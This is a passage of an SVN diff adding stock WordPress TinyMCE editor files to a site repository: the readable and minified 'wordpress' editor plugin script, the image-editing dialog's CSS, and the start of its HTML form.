+			// Add class "alignleft", "alignright" and "aligncenter" when selecting align for images.
+			ed.addCommand('JustifyLeft', function() {
+				var n = ed.selection.getNode();
+
+				if ( n.nodeName != 'IMG' )
+					ed.editorCommands.mceJustify('JustifyLeft', 'left');
+				else ed.plugins.wordpress.do_align(n, 'alignleft');
+			});
+
+			ed.addCommand('JustifyRight', function() {
+				var n = ed.selection.getNode();
+
+				if ( n.nodeName != 'IMG' )
+					ed.editorCommands.mceJustify('JustifyRight', 'right');
+				else ed.plugins.wordpress.do_align(n, 'alignright');
+			});
+
+			ed.addCommand('JustifyCenter', function() {
+				var n = ed.selection.getNode(), P = ed.dom.getParent(n, 'p'), DL = ed.dom.getParent(n, 'dl');
+
+				if ( n.nodeName == 'IMG' && ( P || DL ) )
+					ed.plugins.wordpress.do_align(n, 'aligncenter');
+				else ed.editorCommands.mceJustify('JustifyCenter', 'center');
+			});
+
+			// Word count if script is loaded
+			if ( 'undefined' != typeof wpWordCount ) {
+				ed.onKeyUp.add(function(ed, e) {
+					if ( e.keyCode == last ) return;
+					if ( 13 == e.keyCode || 8 == last || 46 == last ) wpWordCount.wc( ed.getContent({format : 'raw'}) );
+					last = e.keyCode;
+				});
+			};
+
+			// Add listeners to handle more break
+			t._handleMoreBreak(ed, url);
+
+			// Add custom shortcuts
+			ed.addShortcut('alt+shift+c', ed.getLang('justifycenter_desc'), 'JustifyCenter');
+			ed.addShortcut('alt+shift+r', ed.getLang('justifyright_desc'), 'JustifyRight');
+			ed.addShortcut('alt+shift+l', ed.getLang('justifyleft_desc'), 'JustifyLeft');
+			ed.addShortcut('alt+shift+j', ed.getLang('justifyfull_desc'), 'JustifyFull');
+			ed.addShortcut('alt+shift+q', ed.getLang('blockquote_desc'), 'mceBlockQuote');
+			ed.addShortcut('alt+shift+u', ed.getLang('bullist_desc'), 'InsertUnorderedList');
+			ed.addShortcut('alt+shift+o', ed.getLang('numlist_desc'), 'InsertOrderedList');
+			ed.addShortcut('alt+shift+d', ed.getLang('striketrough_desc'), 'Strikethrough');
+			ed.addShortcut('alt+shift+n', ed.getLang('spellchecker.desc'), 'mceSpellCheck');
+			ed.addShortcut('alt+shift+a', ed.getLang('link_desc'), 'mceLink');
+			ed.addShortcut('alt+shift+s', ed.getLang('unlink_desc'), 'unlink');
+			ed.addShortcut('alt+shift+m', ed.getLang('image_desc'), 'mceImage');
+			ed.addShortcut('alt+shift+g', ed.getLang('fullscreen.desc'), 'mceFullScreen');
+			ed.addShortcut('alt+shift+z', ed.getLang('wp_adv_desc'), 'WP_Adv');
+			ed.addShortcut('alt+shift+h', ed.getLang('help_desc'), 'WP_Help');
+			ed.addShortcut('alt+shift+t', ed.getLang('wp_more_desc'), 'WP_More');
+			ed.addShortcut('alt+shift+p', ed.getLang('wp_page_desc'), 'WP_Page');
+			ed.addShortcut('ctrl+s', ed.getLang('save_desc'), function(){if('function'==typeof autosave)autosave();});
+
+			if ( tinymce.isWebKit ) {
+				ed.addShortcut('alt+shift+b', ed.getLang('bold_desc'), 'Bold');
+				ed.addShortcut('alt+shift+i', ed.getLang('italic_desc'), 'Italic');
+			}
+		},
+
+		getInfo : function() {
+			return {
+				longname : 'WordPress Plugin',
+				author : 'WordPress', // add Moxiecode?
+				authorurl : 'http://wordpress.org',
+				infourl : 'http://wordpress.org',
+				version : '3.0'
+			};
+		},
+
+		// Internal functions
+		do_align : function(n, a) {
+			var P, DL, DIV, cls, c, ed = tinyMCE.activeEditor;
+
+			if ( /^(mceItemFlash|mceItemShockWave|mceItemWindowsMedia|mceItemQuickTime|mceItemRealMedia)$/.test(n.className) )
+				return;
+
+			P = ed.dom.getParent(n, 'p');
+			DL = ed.dom.getParent(n, 'dl');
+			DIV = ed.dom.getParent(n, 'div');
+
+			if ( DL && DIV ) {
+				cls = ed.dom.hasClass(DL, a) ? 'alignnone' : a;
+				DL.className = DL.className.replace(/align[^ '"]+\s?/g, '');
+				ed.dom.addClass(DL, cls);
+				c = (cls == 'aligncenter') ? ed.dom.addClass(DIV, 'mceIEcenter') : ed.dom.removeClass(DIV, 'mceIEcenter');
+			} else if ( P ) {
+				cls = ed.dom.hasClass(n, a) ? 'alignnone' : a;
+				n.className = n.className.replace(/align[^ '"]+\s?/g, '');
+				ed.dom.addClass(n, cls);
+				if ( cls == 'aligncenter' )
+					ed.dom.setStyle(P, 'textAlign', 'center');
+				else if (P.style && P.style.textAlign == 'center')
+					ed.dom.setStyle(P, 'textAlign', '');
+			}
+
+			ed.execCommand('mceRepaint');
+		},
+
+		// Resizes the iframe by a relative height value
+		_resizeIframe : function(ed, tb_id, dy) {
+			var ifr = ed.getContentAreaContainer().firstChild;
+
+			DOM.setStyle(ifr, 'height', ifr.clientHeight + dy); // Resize iframe
+			ed.theme.deltaHeight += dy; // For resize cookie
+		},
+
+		_handleMoreBreak : function(ed, url) {
+			var moreHTML, nextpageHTML;
+			
+			moreHTML = '<img src="' + url + '/img/trans.gif" alt="$1" class="mceWPmore mceItemNoResize" title="'+ed.getLang('wordpress.wp_more_alt')+'" />';
+			nextpageHTML = '<img src="' + url + '/img/trans.gif" class="mceWPnextpage mceItemNoResize" title="'+ed.getLang('wordpress.wp_page_alt')+'" />';
+
+			// Load plugin specific CSS into editor
+			ed.onInit.add(function() {
+				ed.dom.loadCSS(url + '/css/content.css');
+			});
+
+			// Display morebreak instead if img in element path
+			ed.onPostRender.add(function() {
+				if (ed.theme.onResolveName) {
+					ed.theme.onResolveName.add(function(th, o) {
+						if (o.node.nodeName == 'IMG') {
+							if ( ed.dom.hasClass(o.node, 'mceWPmore') )
+								o.name = 'wpmore';
+							if ( ed.dom.hasClass(o.node, 'mceWPnextpage') )
+								o.name = 'wppage';
+						}
+
+					});
+				}
+			});
+
+			// Replace morebreak with images
+			ed.onBeforeSetContent.add(function(ed, o) {
+				o.content = o.content.replace(/<!--more(.*?)-->/g, moreHTML);
+				o.content = o.content.replace(/<!--nextpage-->/g, nextpageHTML);
+			});
+
+			// Replace images with morebreak
+			ed.onPostProcess.add(function(ed, o) {
+				if (o.get)
+					o.content = o.content.replace(/<img[^>]+>/g, function(im) {
+						if (im.indexOf('class="mceWPmore') !== -1) {
+							var m, moretext = (m = im.match(/alt="(.*?)"/)) ? m[1] : '';
+							im = '<!--more'+moretext+'-->';
+						}
+						if (im.indexOf('class="mceWPnextpage') !== -1)
+							im = '<!--nextpage-->';
+
+						return im;
+					});
+			});
+
+			// Set active buttons if user selected pagebreak or more break
+			ed.onNodeChange.add(function(ed, cm, n) {
+				cm.setActive('wp_page', n.nodeName === 'IMG' && ed.dom.hasClass(n, 'mceWPnextpage'));
+				cm.setActive('wp_more', n.nodeName === 'IMG' && ed.dom.hasClass(n, 'mceWPmore'));
+			});
+		}
+	});
+
+	// Register plugin
+	tinymce.PluginManager.add('wordpress', tinymce.plugins.WordPress);
+})();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wordpress/editor_plugin.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wordpress/editor_plugin.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wordpress/editor_plugin.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(){var a=tinymce.DOM;tinymce.create("tinymce.plugins.WordPress",{init:function(c,d){var e=this,h=c.getParam("wordpress_adv_toolbar","toolbar2"),g=0,f,b;f='<img src="'+d+'/img/trans.gif" class="mceWPmore mceItemNoResize" title="'+c.getLang("wordpress.wp_more_alt")+'" />';b='<img src="'+d+'/img/trans.gif" class="mceWPnextpage mceItemNoResize" title="'+c.getLang("wordpress.wp_page_alt")+'" />';if(getUserSetting("hidetb","0")=="1"){c.settings.wordpress_adv_hidden=0}c.onPostRender.add(function(){if(c.getParam("wordpress_adv_hidden",1)){a.hide(c.controlManager.get(h).id);e._resizeIframe(c,h,28)}});c.addCommand("WP_More",function(){c.execCommand("mceInsertContent",0,f)});c.addCommand("WP_Page",function(){c.execCommand("mceInsertContent",0,b)});c.addCommand("WP_Help",function(){c.windowManager.open({url:tinymce.baseURL+"/wp-mce-help.php",width:450,height:420,inline:1})});c.addCommand("WP_Adv",function(){var j=c.controlManager.get(h).id,i=c.controlManager;if(a.isHidden(j)){i.setActive("wp_adv",1);a.show(j);e._resizeIframe(c,h,-28);c.settings.wordpress_adv_hidden=0;setUserSetting("hidetb","1")}else{i.setActive("wp_adv",0);a.hide(j);e._resizeIframe(c,h,28);c.settings.wordpress_adv_hidden=1;setUserSetting("hidetb","0")}});c.addButton("wp_more",{title:"wordpress.wp_more_desc",image:d+"/img/more.gif",cmd:"WP_More"});c.addButton("wp_page",{title:"wordpress.wp_page_desc",image:d+"/img/page.gif",cmd:"WP_Page"});c.addButton("wp_help",{title:"wordpress.wp_help_desc",image:d+"/img/help.gif",cmd:"WP_Help"});c.addButton("wp_adv",{title:"wordpress.wp_adv_desc",image:d+"/img/toolbars.gif",cmd:"WP_Adv"});c.addButton("add_media",{title:"wordpress.add_media",image:d+"/img/media.gif",onclick:function(){tb_show("",tinymce.DOM.get("add_media").href);tinymce.DOM.setStyle(["TB_overlay","TB_window","TB_load"],"z-index","999999")}});c.addButton("add_image",{title:"wordpress.add_image",image:d+"/img/image.gif",onclick:function(){tb_show("",tinymce.DOM.get("add_image").href);tinymce.DOM.setStyle(["TB_overlay","TB_window","TB_load"],"z-index","999999")}});c.addButton("add_video",{title:"wordpress.add_video",image:d+"/img/video.gif",onclick:function(){tb_show("",tinymce.DOM.get("add_video").href);tinymce.DOM.setStyle(["TB_overlay","TB_window","TB_load"],"z-index","999999")}});c.addButton("add_audio",{title:"wordpress.add_audio",image:d+"/img/audio.gif",onclick:function(){tb_show("",tinymce.DOM.get("add_audio").href);tinymce.DOM.setStyle(["TB_overlay","TB_window","TB_load"],"z-index","999999")}});c.onBeforeExecCommand.add(function(i,k,j,l){if("mceFullScreen"!=k){return}if("mce_fullscreen"!=i.id){i.settings.theme_advanced_buttons1+=",|,add_image,add_video,add_audio,add_media"}});c.addCommand("JustifyLeft",function(){var i=c.selection.getNode();if(i.nodeName!="IMG"){c.editorCommands.mceJustify("JustifyLeft","left")}else{c.plugins.wordpress.do_align(i,"alignleft")}});c.addCommand("JustifyRight",function(){var i=c.selection.getNode();if(i.nodeName!="IMG"){c.editorCommands.mceJustify("JustifyRight","right")}else{c.plugins.wordpress.do_align(i,"alignright")}});c.addCommand("JustifyCenter",function(){var k=c.selection.getNode(),j=c.dom.getParent(k,"p"),i=c.dom.getParent(k,"dl");if(k.nodeName=="IMG"&&(j||i)){c.plugins.wordpress.do_align(k,"aligncenter")}else{c.editorCommands.mceJustify("JustifyCenter","center")}});if("undefined"!=typeof wpWordCount){c.onKeyUp.add(function(i,j){if(j.keyCode==g){return}if(13==j.keyCode||8==g||46==g){wpWordCount.wc(i.getContent({format:"raw"}))}g=j.keyCode})}e._handleMoreBreak(c,d);c.addShortcut("alt+shift+c",c.getLang("justifycenter_desc"),"JustifyCenter");c.addShortcut("alt+shift+r",c.getLang("justifyright_desc"),"JustifyRight");c.addShortcut("alt+shift+l",c.getLang("justifyleft_desc"),"JustifyLeft");c.addShortcut("alt+shift+j",c.getLang("justifyfull_desc"),"JustifyFull");c.addShortcut("alt+shift+q",c.getLang("blockquote_desc"),"mceBlockQuote");c.addShortcut("alt+shift+u",c.getLang("bullist_desc"),"InsertUnorderedList");c.addShortcut("alt+shift+o",c.getLang("numlist_desc"),"InsertOrderedList");c.addShortcut("alt+shift+d",c.getLang("striketrough_desc"),"Strikethrough");c.addShortcut("alt+shift+n",c.getLang("spellchecker.desc"),"mceSpellCheck");c.addShortcut("alt+shift+a",c.getLang("link_desc"),"mceLink");c.addShortcut("alt+shift+s",c.getLang("unlink_desc"),"unlink");c.addShortcut("alt+shift+m",c.getLang("image_desc"),"mceImage");c.addShortcut("alt+shift+g",c.getLang("fullscreen.desc"),"mceFullScreen");c.addShortcut("alt+shift+z",c.getLang("wp_adv_desc"),"WP_Adv");c.addShortcut("alt+shift+h",c.getLang("help_desc"),"WP_Help");c.addShortcut("alt+shift+t",c.getLang("wp_more_desc"),"WP_More");c.addShortcut("alt+shift+p",c.getLang("wp_page_desc"),"WP_Page");c.addShortcut("ctrl+s",c.getLang("save_desc"),function(){if("function"==typeof autosave){autosave()}});if(tinymce.isWebKit){c.addShortcut("alt+shift+b",c.getLang("bold_desc"),"Bold");c.addShortcut("alt+shift+i",c.getLang("italic_desc"),"Italic")}},getInfo:function(){return{longname:"WordPress Plugin",author:"WordPress",authorurl:"http://wordpress.org",infourl:"http://wordpress.org",version:"3.0"}},do_align:function(j,d){var h,f,g,b,i,e=tinyMCE.activeEditor;if(/^(mceItemFlash|mceItemShockWave|mceItemWindowsMedia|mceItemQuickTime|mceItemRealMedia)$/.test(j.className)){return}h=e.dom.getParent(j,"p");f=e.dom.getParent(j,"dl");g=e.dom.getParent(j,"div");if(f&&g){b=e.dom.hasClass(f,d)?"alignnone":d;f.className=f.className.replace(/align[^ '"]+\s?/g,"");e.dom.addClass(f,b);i=(b=="aligncenter")?e.dom.addClass(g,"mceIEcenter"):e.dom.removeClass(g,"mceIEcenter")}else{if(h){b=e.dom.hasClass(j,d)?"alignnone":d;j.className=j.className.replace(/align[^ '"]+\s?/g,"");e.dom.addClass(j,b);if(b=="aligncenter"){e.dom.setStyle(h,"textAlign","center")}else{if(h.style&&h.style.textAlign=="center"){e.dom.setStyle(h,"textAlign","")}}}}e.execCommand("mceRepaint")},_resizeIframe:function(c,e,b){var d=c.getContentAreaContainer().firstChild;a.setStyle(d,"height",d.clientHeight+b);c.theme.deltaHeight+=b},_handleMoreBreak:function(c,d){var e,b;e='<img src="'+d+'/img/trans.gif" alt="$1" class="mceWPmore mceItemNoResize" title="'+c.getLang("wordpress.wp_more_alt")+'" />';b='<img src="'+d+'/img/trans.gif" class="mceWPnextpage mceItemNoResize" title="'+c.getLang("wordpress.wp_page_alt")+'" />';c.onInit.add(function(){c.dom.loadCSS(d+"/css/content.css")});c.onPostRender.add(function(){if(c.theme.onResolveName){c.theme.onResolveName.add(function(f,g){if(g.node.nodeName=="IMG"){if(c.dom.hasClass(g.node,"mceWPmore")){g.name="wpmore"}if(c.dom.hasClass(g.node,"mceWPnextpage")){g.name="wppage"}}})}});c.onBeforeSetContent.add(function(f,g){g.content=g.content.replace(/<!--more(.*?)-->/g,e);g.content=g.content.replace(/<!--nextpage-->/g,b)});c.onPostProcess.add(function(f,g){if(g.get){g.content=g.content.replace(/<img[^>]+>/g,function(i){if(i.indexOf('class="mceWPmore')!==-1){var h,j=(h=i.match(/alt="(.*?)"/))?h[1]:"";i="<!--more"+j+"-->"}if(i.indexOf('class="mceWPnextpage')!==-1){i="<!--nextpage-->"}return i})}});c.onNodeChange.add(function(g,f,h){f.setActive("wp_page",h.nodeName==="IMG"&&g.dom.hasClass(h,"mceWPnextpage"));f.setActive("wp_more",h.nodeName==="IMG"&&g.dom.hasClass(h,"mceWPmore"))})}});tinymce.PluginManager.add("wordpress",tinymce.plugins.WordPress)})();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/css/editimage-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/css/editimage-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/css/editimage-rtl.css	(revision 44)
@@ -0,0 +1,68 @@
+
+body#media-upload ul#sidemenu {
+	left: auto;
+	right: 0;
+}
+
+#basic .align .field label {
+	display: block;
+	float: right;
+	padding: 0 24px 0 0;
+	margin: 5px 3px 5px 5px; 
+}
+
+.align .field input {
+	display: block;
+	float: right;
+	margin: 5px 15px 5px 0;
+}
+
+tr.image-size label {
+	margin: 0;
+}
+
+tr.image-size input {
+	margin: 3px 15px 0 5px;
+}
+
+.image-align-none-label,
+.image-align-left-label,
+.image-align-center-label,
+.image-align-right-label {
+	background-position: center right;
+}
+
+#media-upload .describe th.label {
+	text-align: right;
+}
+
+.show-align,
+.alignright,
+#img_size {
+	float: left;
+}
+
+tr.image-size label,
+tr.image-size input,
+#img_dim label,
+#img_dim input,
+#img_prop label,
+#img_prop input,
+#img_size_div,
+.alignleft {
+	float: right;
+}
+
+#img_dim label,
+#img_prop label {
+	margin: 5px 0pt;
+}
+
+#img_dim input,
+#img_prop input {
+	margin: 0 5px 0 10px;
+}
+
+#img_size_title {
+	text-align: left;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/css/editimage.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/css/editimage.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/css/editimage.css	(revision 44)
@@ -0,0 +1,343 @@
+
+html, body {
+	background-color: #fff;
+	margin: 0;
+	padding: 0;
+}
+
+.submit input,
+.button,
+.button-primary,
+.button-secondary,
+.button-highlighted {
+	font-family: "Lucida Grande", "Lucida Sans Unicode", Tahoma, Verdana, sans-serif;
+	text-decoration: none;
+	font-size: 11px !important;
+	line-height: 16px;
+	padding: 2px 8px;
+	cursor: pointer;
+	border-width: 1px;
+	border-style: solid;
+	-moz-border-radius: 11px;
+	-khtml-border-radius: 11px;
+	-webkit-border-radius: 11px;
+	border-radius: 11px;
+	-moz-box-sizing: content-box;
+	-webkit-box-sizing: content-box;
+	-khtml-box-sizing: content-box;
+	box-sizing: content-box;
+}
+
+a.button {
+	padding: 4px 8px;
+}
+
+textarea,
+input,
+select {
+	font: 13px Verdana, Arial, Helvetica, sans-serif;
+	margin: 1px;
+	padding: 3px;
+}
+
+body, td {
+	font: 13px "Lucida Grande", "Lucida Sans Unicode", Tahoma, Verdana, sans-serif;
+}
+
+abbr.required {
+	color: #FF0000;
+	text-align: left;
+}
+
+img.alignright,
+.alignright {
+	float: right;
+}
+
+img.alignleft,
+.alignleft {
+	float: left;
+}
+
+img.aligncenter {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+label {
+	cursor: pointer;
+}
+
+th.label {
+	width: 107px;
+}
+
+#media-upload #basic th.label {
+	padding: 5px 5px 5px 0;
+}
+
+.show-align {
+	height: 200px;
+	width: 480px;
+	float: right;
+	background-color: #f1f1f1;
+	cursor: default;
+	-moz-user-select: none;
+	user-select: none;
+	overflow: hidden;
+}
+
+#img-edit {
+	border: 1px solid #dfdfdf;
+	width: 623px;
+	margin: 15px auto;
+}
+
+#media-upload .media-upload-form table.describe {
+	border-top-style: none;
+	border-top-width: 0;
+}
+
+#img_demo_txt {
+	font-size: 9px;
+	line-height: 13px;
+	font-family: Monaco,"Courier New",Courier,monospace;
+	color: #888;
+}
+
+#img_demo {
+	padding: 0;
+}
+
+#saveeditimg {
+	padding: 10px 0 0 5px;
+	border-top: 1px solid #ccc;
+}
+
+#sidemenu,
+#sidemenu li {
+	list-style: none;
+}
+
+#sidemenu li {
+	display: inline;
+}
+
+#sidemenu a {
+	border-bottom-style: solid;
+	border-bottom-width: 1px;
+	border-top-style: solid;
+	border-top-width: 1px;
+	display: block;
+	float: left;
+	height: 28px;
+	line-height: 28px;
+	text-decoration: none;
+	text-align: center;
+	white-space: nowrap;
+	margin: 0;
+	padding: 0pt 7px;
+}
+
+#sidemenu a.current {
+	-moz-border-radius-topleft: 4px;
+	-khtml-border-top-left-radius: 4px;
+	-webkit-border-top-left-radius: 4px;
+	border-top-left-radius: 4px;
+	-moz-border-radius-topright: 4px;
+	-khtml-border-top-right-radius: 4px;
+	-webkit-border-top-right-radius: 4px;
+	border-top-right-radius: 4px;
+	border-style:solid;
+	border-width:1px;
+	font-weight:normal;
+}
+
+#adv_settings .field label {
+	padding: 0 5px 5px;
+}
+
+#media-upload h3 {
+	clear: both;
+	padding: 0pt 0pt 3px;
+	border-bottom-style: solid;
+	border-bottom-width: 1px;
+	font-family: Georgia,"Times New Roman",Times,serif;
+	font-size: 20px;
+	font-weight: normal;
+	line-height: normal;
+	margin: 0 0 10px -4px;
+	padding: 15px 0 3px;
+	border-bottom-color: #DADADA;
+	color: #5A5A5A;
+}
+
+#img_dim #width,
+#img_dim #height,
+#img_prop #border,
+#img_prop #vspace,
+#img_prop #hspace {
+	width: 36px;
+}
+
+#img_dim abbr {
+	padding: 0 4px;
+}
+
+#show_align_sp {
+	width: 115px;
+}
+
+#img_dim input,
+#img_prop input {
+	margin-right: 10px;
+}
+
+#basic .align .field label {
+	padding: 0 0 0 24px;
+}
+
+#basic {
+	padding-top: 2px;
+}
+
+td {
+	padding: 2px 0;
+}
+
+#img_size {
+	float: right;
+	text-align: center;
+	cursor: pointer;
+	background-color: #f1f1f1;
+	padding: 5px 0;
+	width: 45px;
+}
+
+#img_size div {
+	font-size: 10px;
+	padding: 2px;
+	border: 1px solid #f1f1f1;
+	line-height: 15px;
+	height: 15px;
+	-moz-border-radius: 3px;
+	-khtml-border-radius: 3px;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+	color: #07273E;
+}
+
+#img_size div#s100 {
+	border-color: #A3A3A3;
+	background-color: #E5E5E5;
+}
+
+#img_size_div {
+	width: 100px;
+	float: left;
+	cursor: default;
+}
+
+#img_size_title {
+	margin: 0 7px 5px;
+	text-align: right;
+	font-weight: bold;
+}
+
+#img_align_td {
+	padding: 2px 0 8px;
+}
+
+#media-upload tr.align td.field {
+	text-align: center;
+}
+
+.describe td {
+	vertical-align: middle;
+}
+
+#media-upload .describe th.label {
+	padding-top: .5em;
+	text-align: left;
+}
+
+#media-upload .describe {
+	border-top-width: 1px;
+	border-top-style: solid;
+	padding: 5px;
+	width: 100%;
+	clear: both;
+	cursor: default;
+}
+
+form {
+	margin: 1em;
+}
+
+.describe input[type="text"],
+.describe textarea {
+	width: 460px;
+	border: 1px solid #dfdfdf;
+}
+
+
+.media-upload-form label,
+.media-upload-form legend {
+	font-weight: bold;
+	font-size: 13px;
+	color: #464646;
+}
+
+.align .field label {
+	display: inline;
+	padding: 0 0 0 28px;
+	margin: 0 1em 0 0;
+}
+.image-align-none-label {
+	background: url(../../../../../../wp-admin/images/align-none.png) no-repeat center left;
+}
+
+.image-align-left-label {
+	background: url(../../../../../../wp-admin/images/align-left.png) no-repeat center left;
+}
+
+.image-align-center-label {
+	background: url(../../../../../../wp-admin/images/align-center.png) no-repeat center left;
+}
+
+.image-align-right-label {
+	background: url(../../../../../../wp-admin/images/align-right.png) no-repeat center left;
+}
+
+div#media-upload-header {
+	margin: 0;
+	padding: 0 5px;
+	font-weight: bold;
+	position: relative;
+	border-bottom-width: 1px;
+	border-bottom-style: solid;
+	height: 2.5em;
+}
+
+body#media-upload ul#sidemenu {
+	font-weight: normal;
+	margin: 0 5px;
+	position: relative;
+	left: 0px;
+	bottom: -4px;
+}
+
+div#media-upload-error {
+	margin: 1em;
+	font-weight: bold;
+}
+
+* html #sidemenu li {
+	zoom: 100%;
+}
+
+* html #sidemenu a {
+	height: 27px;
+	line-height: 26px;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/editimage.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/editimage.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/editimage.html	(revision 44)
@@ -0,0 +1,275 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title></title>
+
+<script type="text/javascript" src="js/editimage.js?ver=3223"></script>
+<script type="text/javascript" src="../../utils/form_utils.js?ver=3223"></script>
+
+<link rel="stylesheet" href="css/editimage.css?ver=3223" type="text/css" media="all" />
+
+<script type="text/javascript">
+if ( 'rtl' == tinyMCEPopup.editor.getParam('directionality','') )
+	document.write('<link rel="stylesheet" href="css/editimage-rtl.css?ver=3223" type="text/css" media="all" />');
+</script>
+<base target="_self" />
+</head>
+
+<body id="media-upload" style="display:none;">
+<div id="media-upload-header">
+	<ul id="sidemenu">
+	<li><a href="javascript:;" id="tab_basic" class="current" onclick="wpImage.setTabs(this);">{#wpeditimage.edit_img}</a></li>
+	<li><a href="javascript:;" id="tab_advanced" onclick="wpImage.setTabs(this);">{#wpeditimage.adv_settings}</a></li>
+	</ul>
+</div>
+
+<div id="img-edit">
+<form class="media-upload-form" action="" onsubmit="wpImage.update();">
+	<div id="img_size_div">
+		<div id="img_size_title">{#wpeditimage.size}</div>
+		<div id="img_size" onmouseout="wpImage.showSizeRem()">
+			<div id="s130" onmouseover="wpImage.showSize(this)" onclick="wpImage.imgEditSize(this)">{#wpeditimage.s130}</div>
+			<div id="s120" onmouseover="wpImage.showSize(this)" onclick="wpImage.imgEditSize(this)">{#wpeditimage.s120}</div>
+			<div id="s110" onmouseover="wpImage.showSize(this)" onclick="wpImage.imgEditSize(this)">{#wpeditimage.s110}</div>
+			<div id="s100" onmouseover="wpImage.showSize(this)" onclick="wpImage.imgEditSize(this)">{#wpeditimage.s100}</div>
+			<div id="s90" onmouseover="wpImage.showSize(this)" onclick="wpImage.imgEditSize(this)">{#wpeditimage.s90}</div>
+			<div id="s80" onmouseover="wpImage.showSize(this)" onclick="wpImage.imgEditSize(this)">{#wpeditimage.s80}</div>
+			<div id="s70" onmouseover="wpImage.showSize(this)" onclick="wpImage.imgEditSize(this)">{#wpeditimage.s70}</div>
+			<div id="s60" onmouseover="wpImage.showSize(this)" onclick="wpImage.imgEditSize(this)">{#wpeditimage.s60}</div>
+		</div>
+	</div>
+	<div class="show-align" id="show_align">
+		<img id="img_demo" src="img/image.png" alt="" />
+		<span id="img_demo_txt">
+		Lorem ipsum dolor sit amet consectetuer velit pretium euismod ipsum enim. Mi cursus at a mollis senectus id arcu gravida quis urna. Sed et felis id tempus Morbi mauris tincidunt enim In mauris. Pede eu risus velit libero natoque enim lorem adipiscing ipsum consequat. In malesuada et sociis tincidunt tempus pellentesque cursus convallis ipsum Suspendisse. Risus In ac quis ut Nunc convallis laoreet ante Suspendisse Nam. Amet amet urna condimentum Vestibulum sem at Curabitur lorem et cursus. Sodales tortor fermentum leo dui habitant Nunc Sed Vestibulum.
+		Ut lorem In penatibus libero id ipsum sagittis nec elit Sed. Condimentum eget Vivamus vel consectetuer lorem molestie turpis amet tellus id. Condimentum vel ridiculus Fusce sed pede Nam nunc sodales eros tempor. Sit lacus magna dictumst Curabitur fringilla auctor id vitae wisi facilisi. Fermentum eget turpis felis velit leo Nunc Proin orci molestie Praesent. Curabitur tellus scelerisque suscipit ut sem amet cursus mi Morbi eu. Donec libero Vestibulum augue et mollis accumsan ornare condimentum In enim. Leo eget ac consectetuer quis condimentum malesuada.
+		Condimentum commodo et Lorem fringilla malesuada libero volutpat sem tellus enim. Tincidunt sed at Aenean nec nonummy porttitor Nam Sed Nulla ut. Auctor leo In aliquet Curabitur eros et velit Quisque justo morbi. Et vel mauris sit nulla semper vitae et quis at dui. Id at elit laoreet justo eu mauris Quisque et interdum pharetra. Nullam accumsan interdum Maecenas condimentum quis quis Fusce a sollicitudin Sed. Non Quisque Vivamus congue porttitor non semper ipsum porttitor quis vel. Donec eros lacus volutpat et tincidunt sem convallis id venenatis sit. Consectetuer odio.
+		Semper faucibus Morbi nulla convallis orci Aliquam Sed porttitor et Pellentesque. Venenatis laoreet lorem id a a Morbi augue turpis id semper. Arcu volutpat ac mauris Vestibulum fringilla Aenean condimentum nibh sed id. Sagittis eu lacus orci urna tellus tellus pretium Curabitur dui nunc. Et nibh eu eu nibh adipiscing at lorem Vestibulum adipiscing augue. Magna convallis Phasellus dolor malesuada Curabitur ornare adipiscing tellus Aliquam tempus. Id Aliquam Integer augue Nulla consectetuer ac Donec Curabitur tincidunt et. Id vel Nunc amet lacus dui magna ridiculus penatibus laoreet Duis. Enim sagittis nibh quis Nulla nec laoreet vel Maecenas mattis vel.
+		</span>
+	</div>
+
+	<div id="div_basic">
+	<table id="basic" class="describe">
+		<tbody>
+
+		<tr class="align">
+			<th valign="top" scope="row" class="label">
+				<label for="img_align_td">
+				<span class="alignleft">{#contextmenu.align}</span>
+				</label>
+			</th>
+			<td class="field" id="img_align_td">
+				<input type="radio" onclick="wpImage.imgAlignCls('alignnone')" name="img_align" id="alignnone" value="alignnone" />
+				<label for="alignnone" class="align image-align-none-label">{#wpeditimage.none}</label>
+
+				<input type="radio" onclick="wpImage.imgAlignCls('alignleft')" name="img_align" id="alignleft" value="alignleft" />
+				<label for="alignleft" class="align image-align-left-label">{#contextmenu.left}</label>
+
+				<input type="radio" onclick="wpImage.imgAlignCls('aligncenter')" name="img_align" id="aligncenter" value="aligncenter" />
+				<label for="aligncenter" class="align image-align-center-label">{#contextmenu.center}</label>
+
+				<input type="radio" onclick="wpImage.imgAlignCls('alignright')" name="img_align" id="alignright" value="alignright" />
+				<label for="alignright" class="align image-align-right-label">{#contextmenu.right}</label>
+			</td>
+		</tr>
+
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<label for="img_title">
+				<span class="alignleft">{#wpeditimage.img_title}</span>
+				</label>
+			</th>
+			<td class="field">
+				<input type="text" id="img_title" name="img_title" value="" aria-required="true" size="60" />
+			</td>
+		</tr>
+
+		<tr id="cap_field">
+			<th valign="top" scope="row" class="label">
+				<label for="img_cap">
+				<span class="alignleft">{#wpeditimage.caption}</span>
+				</label>
+			</th>
+			<td class="field">
+				<input type="text" id="img_cap" name="img_cap" value="" size="60" />
+			</td>
+		</tr>
+
+		<tr>
